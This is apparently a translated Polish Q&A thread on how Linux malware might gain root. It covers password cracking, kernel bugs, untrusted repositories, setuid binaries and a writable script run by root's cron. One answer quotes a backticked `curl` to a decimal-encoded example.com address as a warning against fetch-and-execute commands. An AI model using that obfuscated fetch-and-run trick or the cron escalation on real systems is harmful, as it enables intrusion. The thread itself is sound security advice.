Rozumiem, że jeśli jakiekolwiek złośliwe oprogramowanie przedostanie się do systemu Linux, uzyska co najwyżej uprawnienia na poziomie użytkownika i zniszczy wszystko, co znajduje się w zasięgu konkretnego użytkownika, tj. Własne pliki użytkownika.
Ale co dokładnie powstrzymuje złośliwe oprogramowanie przed dostępem na poziomie root? Czy to nie może złamać hasła od wewnątrz?
Odpowiedzi:
To złożone pytanie. W systemie Ubuntu istnieje wiele różnych warstw zabezpieczeń, od złożonych platform, takich jak AppArmor, po skromne zmienne jądra, takie jak
mmap_min_addr
. Możesz dodać do miksu niektóre funkcje jądra, takie jak randomizacja pamięci. Możesz znaleźć ich listę wraz z krótkimi objaśnieniami na Wiki Ubuntu .Innym ważnym czynnikiem jest to, że aktualizacje są szybkie i łatwe - dlatego większość komputerów zostanie zaktualizowana do ostatnich poprawek zabezpieczeń.
O ile mi wiadomo, osoba atakująca, która uzyskała lokalny dostęp do twojego komputera, ma trzy sposoby skalowania uprawnień jądra:
Złam hasło. Ale będzie to naprawdę trudne, hasło jest przechowywane w postaci zaszyfrowanej, przy użyciu algorytmów bez znanej wady. Złamanie go zajmie wieki.
Błąd w jądrze. Ale wszystkie funkcje bezpieczeństwa jądra staną na drodze.
Oszukać użytkownika, aby podać hasło, tj. Socjotechnikę. Po prostu pokaż fałszywe hasło lub skorzystaj z innej sztuczki. To najłatwiejszy sposób na zrobienie tego.
Trzeci punkt to obecnie najsłabsza luka.
źródło
sudoers
.Złamanie hasła roota nie jest możliwe, ponieważ Ubuntu domyślnie wyłączył użytkownika root. Jeśli jednak użytkownik może zrootować się przez sudo, a hasło łatwo zgadnąć / użyć siły, masz niezabezpieczony system. Przykładowy skrypt próbujący przetestować hasło:
Dodanie niezaufanego repozytorium umożliwia zainstalowanie programów z tego repozytorium. Nawet jeśli nie zainstalujesz wyraźnie takiej aplikacji
sudo apt-get install [app-from-repo]
, repozytorium może nadal wpływać na inne programy, sprawiając, że Ubuntu uwierzy, że repozytorium zawiera nowszą wersję określonego programu.Proces aktualizacji jest uruchamiany jako root, w przeciwnym razie nie można zapisać plików w
/usr/bin
lub/etc
. Wyzwalacz instalacyjny jest również uruchamiany jako root i może być uruchamiany dowolnie i ewentualnie szkodliwe polecenia. Nie martw się, konieczne jest ręczne działanie, aby zaktualizować programy, a repozytoria Ubuntu są bezpieczne. Oprogramowaniu o zamkniętym źródle, takim jak Windows, nigdy nie można w pełni zaufać, ponieważ nie można sprawdzić źródła pod kątem złośliwego kodu, ale w razie potrzeby można przejrzeć źródło aplikacji Ubuntu (nie dotyczy programów chronionych prawami autorskimi, takich jaksun-java6
lub Flash).Jak wspomniał Javier Rivera, błędy jądra mogą prowadzić do wykonania dowolnego kodu, ale wadliwe oprogramowanie jest również potencjalnie niebezpieczne, szczególnie błędne
setsuid
pliki binarne root (pliki binarne, które będą uruchamiane przez właściciela pliku, root) i inne błędne programy działające jako root.Możesz stworzyć luki bezpieczeństwa w systemie, jeśli nie zwracasz uwagi na to, co robisz. Na przykład, nie w pełni rozumiejąc pojęcia cronjobs, dodałeś cronjob, do
/etc/cron.daily
którego uruchamia się program w twoim folderze domowym (np/bin/sh /home/your-username/myscript.sh
. Jeśli plik myscript.sh jest do zapisania, możesz go usunąć, exploit może wprowadzić złośliwe oprogramowanie kod, wmyscript.sh
którym byłby uruchamiany jako root (eskalacja uprawnień).Aby zachować bezpieczeństwo, użyj swojego umysłu! Nie uruchamiaj poleceń z niezaufanych źródeł, jeśli nie wiesz, co robi. Jeśli ktoś mówi, że biegnij
`curl 3221233674`
z tykami, nie rób tego. 3221233674 to inny sposób pisania192.0.32.10
(adres IP example.com). Byłby więc równy:Te znaczniki wsteczne powodują, że dane wyjściowe są wykonywane jako polecenia powłoki. Mówiąc wprost, „Pobierz stronę http://example.com/ i spróbuj uruchomić pobraną stronę”.
Na początku nie zobaczysz czegoś złośliwego w danym poleceniu. Ale teraz wiesz, że można go również nadużywać.
Zawsze sprawdzaj polecenia / skrypty otrzymywane z niezaufanych źródeł, takich jak Internet.
źródło